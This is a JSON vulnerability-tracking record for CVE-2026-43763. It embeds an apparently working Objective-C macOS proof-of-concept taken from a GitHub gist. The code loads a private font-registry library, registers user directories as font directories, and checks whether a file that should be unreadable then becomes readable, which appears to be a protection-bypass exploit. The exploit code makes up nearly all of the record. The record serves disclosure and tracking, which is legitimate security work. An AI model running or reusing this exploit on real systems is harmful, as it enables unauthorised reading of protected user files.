{"uuid": "b4c18fb5-70d8-4da8-a8b1-7b8f04aa3649", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-43763", "type": "seen", "source": "https://gist.github.com/wh1te4ever/6be824a212eca44717894182ff220414", "content": "//\n//  ViewController.m\n//  CVE-2026-43763\n//\n//  Created by seo on 8/20/26.\n//\n\n#import \"ViewController.h\"\n#import \n#import \n\ntypedef int (*XTRegFn)(CFURLRef, CFDataRef, unsigned int, unsigned int);\ntypedef int (*XTUnregFn)(CFURLRef, unsigned int);\n\n\nbool tryReadFile(NSString *path) {\n    NSData *data = [NSData dataWithContentsOfFile:path options:0 error:nil];\n    if (data) {\n        printf(\"[%s:%d] read success from %s (%lu bytes)\\n\",\n               __FUNCTION__, __LINE__, path.UTF8String, (unsigned long)data.length);\n        return true;\n    } else {\n        access(path.UTF8String, R_OK);\n        printf(\"[%s:%d] read failed from %s, errno=%d\\n\",\n               __FUNCTION__, __LINE__, path.UTF8String, errno);\n    }\n    return false;\n}\n\n@implementation ViewController\n\n- (void)viewDidLoad {\n    [super viewDidLoad];\n\n    // Do any additional setup after loading the view.\n\n    NSString *dirp = @\"/Users/seo/Documents/poc\";\n    NSString *font = [dirp stringByAppendingPathComponent:@\"test.ttf\"];\n    CFURLRef  dir  = (__bridge CFURLRef)[NSURL fileURLWithPath:dirp isDirectory:YES];\n\n    void *lib = dlopen(\"/System/Library/Frameworks/ApplicationServices.framework\"\n                           \"/Frameworks/ATS.framework/Versions/A/Resources/libFontRegistry.dylib\", RTLD_NOW);\n    XTRegFn   XTRegisterFontDirectory   = (XTRegFn)  dlsym(lib, \"XTRegisterFontDirectory\");\n    XTUnregFn XTUnregisterFontDirectory = (XTUnregFn)dlsym(lib, \"XTUnregisterFontDirectory\");\n\n    int r = XTRegisterFontDirectory((__bridge CFURLRef)[NSURL fileURLWithPath:@\"/Users/seo/Documents/poc\" isDirectory:YES], NULL, 1, 2);\n    printf(\"[%s:%d] XTRegisterFontDirectory ret = %d\\n\", __FUNCTION__, __LINE__, r);\n    r = XTRegisterFontDirectory((__bridge CFURLRef)[NSURL fileURLWithPath:@\"/Users/seo/Documents\" isDirectory:YES], NULL, 1, 2);\n    printf(\"[%s:%d] XTRegisterFontDirectory ret = %d\\n\", __FUNCTION__, __LINE__, r);\n    r = XTRegisterFontDirectory((__bridge CFURLRef)[NSURL fileURLWithPath:@\"/Users/seo\" isDirectory:YES], NULL, 1, 2);\n    printf(\"[%s:%d] XTRegisterFontDirectory ret = %d\\n\", __FUNCTION__, __LINE__, r);\n\n    while (access(font.UTF8String, R_OK) != 0 && errno == ENOENT) {\n        printf(\"Please put test.ttf at %s\\n\", dirp.UTF8String);\n        usleep(1000000);\n    }\n\n    // should be fail\n    tryReadFile(font);\n\n    sleep(3);\n\n    CFArrayRef urls = CTFontManagerCopyAvailableFontURLs();\n    if (urls) CFRelease(urls);\n\n//    if (XTUnregisterFontDirectory) XTUnregisterFontDirectory(dir, 2);\n\n    // should be success\n    // it not successful, rerun again\n    tryReadFile(font);\n    printf(\"[%s:%d] done\\n\", __FUNCTION__, __LINE__);\n\n}\n\n\n- (void)setRepresentedObject:(id)representedObject {\n    [super setRepresentedObject:representedObject];\n\n    // Update the view, if already loaded.\n}\n\n\n@end", "creation_timestamp": "2026-08-21T13:13:34.825194Z"}